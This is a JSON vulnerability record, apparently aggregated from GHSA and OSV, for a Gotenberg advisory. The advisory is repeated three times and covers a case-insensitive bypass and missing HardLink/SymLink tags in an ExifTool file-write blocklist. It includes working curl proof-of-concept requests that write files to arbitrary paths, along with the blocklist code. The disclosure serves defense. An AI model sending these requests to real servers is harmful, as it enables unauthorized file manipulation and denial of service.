{"id":"GHSA-qmwh-9m9c-h36m","aliases":["GO-2026-5587"],"status":"published","title":"Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags","description":"## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","from":"ghsa"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-178","CWE-73"],"published":"2026-04-07T18:16:22Z","modified":"2026-06-25T23:11:48Z","fixes":[{"ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","fixed_in":["8.30.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"8.29.1"},{"fixed":"8.30.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.30.0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v7","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/gotenberg/gotenberg/v8","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"8.30.0"}]}]}],"references":[{"url":"https://github.com/gotenberg/gotenberg/security/advisories/GHSA-qmwh-9m9c-h36m","tags":["web","advisory"]},{"url":"https://github.com/gotenberg/gotenberg/commit/15050a311b73d76d8b9223bafe7fa7ba71240011","tags":["web"]},{"url":"https://github.com/advisories/GHSA-qmwh-9m9c-h36m"},{"url":"https://github.com/gotenberg/gotenberg","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-qmwh-9m9c-h36m","title":"Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags","description":"## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }","status":"published","published":"2026-04-07T18:16:22Z","modified":"2026-04-07T18:16:23Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-73","CWE-178"],"updated_at":"2026-11-02T14:39:50.076383Z"}],"osv":[{"id":"GHSA-qmwh-9m9c-h36m","title":"Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags","description":"## Summary\n\nThe fix for ExifTool arbitrary file write (commit `043b158`, released in v8.29.0) uses a case-sensitive blocklist to filter dangerous pseudo-tags. ExifTool processes tag names case-insensitively, so alternate casings bypass the filter. The blocklist also omits the `HardLink` and `SymLink` pseudo-tags entirely.\n\nConfirmed end-to-end against Gotenberg v8.29.1 via the unauthenticated HTTP API.\n\n## Root Cause\n\n`pkg/modules/exiftool/exiftool.go` lines 231-237:\n\n    dangerousTags := []string{\n        \"FileName\",  // Writing this triggers a file rename in ExifTool\n        \"Directory\", // Writing this triggers a file move in ExifTool\n    }\n    for _, tag := range dangerousTags {\n        delete(metadata, tag)\n    }\n\nGo's `delete(metadata, tag)` is case-sensitive. It only removes the exact keys `\"FileName\"` and `\"Directory\"`. ExifTool processes tag names case-insensitively (per ExifTool documentation). Alternate casings like `filename`, `FILENAME`, `directory` all bypass the Go blocklist but ExifTool treats them identically.\n\nThe go-exiftool library passes tag names directly to ExifTool's stdin at line 258:\n\n    fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)\n\nSo `filename` becomes `-filename=/attacker/path` which ExifTool interprets as `-FileName=/attacker/path`.\n\nThe blocklist also omits two dangerous ExifTool pseudo-tags:\n- `HardLink`: creates a hard link to the file at the specified path\n- `SymLink`: creates a symbolic link to the file at the specified path\n\n## PoC\n\nAll three vectors confirmed against a running Gotenberg v8.29.1 Docker container.\n\n**Case-insensitive filename bypass (file moved to /tmp/evil_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"filename\": \"/tmp/evil_bypass.pdf\"}'\n\n**HardLink (hard link created at /tmp/hardlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"HardLink\": \"/tmp/hardlink_bypass.pdf\"}'\n\n**SymLink (symbolic link created at /tmp/symlink_bypass.pdf):**\n\n    curl -X POST http://localhost:3000/forms/pdfengines/metadata/write \\\n      -F files=@sample.pdf \\\n      -F 'metadata={\"SymLink\": \"/tmp/symlink_bypass.pdf\"}'\n\nVerification inside the container:\n\n    $ docker exec gotenberg-poc ls -la /tmp/evil_bypass.pdf /tmp/hardlink_bypass.pdf /tmp/symlink_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/evil_bypass.pdf\n    -rw-r--r-- 1 gotenberg gotenberg 321 ... /tmp/hardlink_bypass.pdf\n    lrwxrwxrwx 1 gotenberg gotenberg 119 ... /tmp/symlink_bypass.pdf -\u003e /tmp/.../source.pdf\n\nAlso confirmed ExifTool case-insensitivity directly:\n\n    exiftool -filename=bypassed.pdf test.pdf  # Works identically to -FileName=\n\n## Impact\n\nAn attacker with access to the Gotenberg API (unauthenticated by default) can:\n\n1. Rename/move uploaded PDFs to arbitrary filesystem paths via lowercase `filename`/`directory`\n2. Create hard links at arbitrary paths via `HardLink`, persisting data beyond temp directory cleanup\n3. Create symbolic links at arbitrary paths via `SymLink`\n\nIn containerized deployments, impact is limited to the container filesystem (DoS by overwriting temp files). In bare-metal deployments or those with shared volumes, this can affect other services.\n\n## Suggested Fix\n\nUse case-insensitive comparison and expand the blocklist:\n\n    dangerousTags := []string{\n        \"FileName\",\n        \"Directory\",\n        \"HardLink\",\n        \"SymLink\",\n    }\n    for key := range metadata {\n        for _, tag := range dangerousTags {\n            if strings.EqualFold(key, tag) {\n                delete(metadata, key)\n            }\n        }\n    }","status":"published","published":"2026-04-07T18:16:22Z","modified":"2026-06-25T23:11:48.614487563Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-178","CWE-73"],"updated_at":"2026-11-02T15:46:54.760124Z"},{"id":"GO-2026-5587","title":"Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg","description":"Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg","status":"published","published":"2026-06-25T22:34:34Z","modified":"2026-06-25T23:01:32.637359698Z","updated_at":"2026-11-02T15:47:02.556545Z"}]}}
